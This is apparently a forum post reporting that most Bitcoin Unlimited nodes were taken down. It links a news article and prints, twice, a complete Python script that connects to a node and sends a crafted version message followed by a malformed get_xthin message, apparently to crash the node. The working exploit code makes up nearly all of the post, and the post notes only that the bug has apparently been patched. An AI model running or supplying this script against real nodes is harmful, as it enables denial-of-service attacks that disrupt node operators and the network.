70-75% of Bitcoin Unlimited nodes were taken down

#!/usr/bin/env python
import binascii
import socket
import time
import sys
import argparse

BUFFER_SIZE = 1024
VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")

if len(sys.argv) > 2:
TCP_PORT = int(sys.argv[2])
TCP_IP = sys.argv[1]
elif len(sys.argv) > 1:
TCP_PORT = 8333
TCP_IP = sys.argv[1]
else:
print "Usage: %s ip [port]" % sys.argv[0]
exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(VERSION)

data = s.recv(BUFFER_SIZE)
time.sleep(1)

s.send(GET_XTHIN)
time.sleep(1)
s.close()

print "received data:", data

[Here is an article about it.](http://www.coindesk.com/code-bug-exploit-bitcoin-unlimited-nodes/) And here is what did it: ``` #!/usr/bin/env python import binascii import socket import time import sys import argparse BUFFER_SIZE = 1024 VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000") GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001") if len(sys.argv) > 2: TCP_PORT = int(sys.argv[2]) TCP_IP = sys.argv[1] elif len(sys.argv) > 1: TCP_PORT = 8333 TCP_IP = sys.argv[1] else: print "Usage: %s ip [port]" % sys.argv[0] exit(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) s.send(VERSION) data = s.recv(BUFFER_SIZE) time.sleep(1) s.send(GET_XTHIN) time.sleep(1) s.close() print "received data:", data ``` Apparently they have patched it now.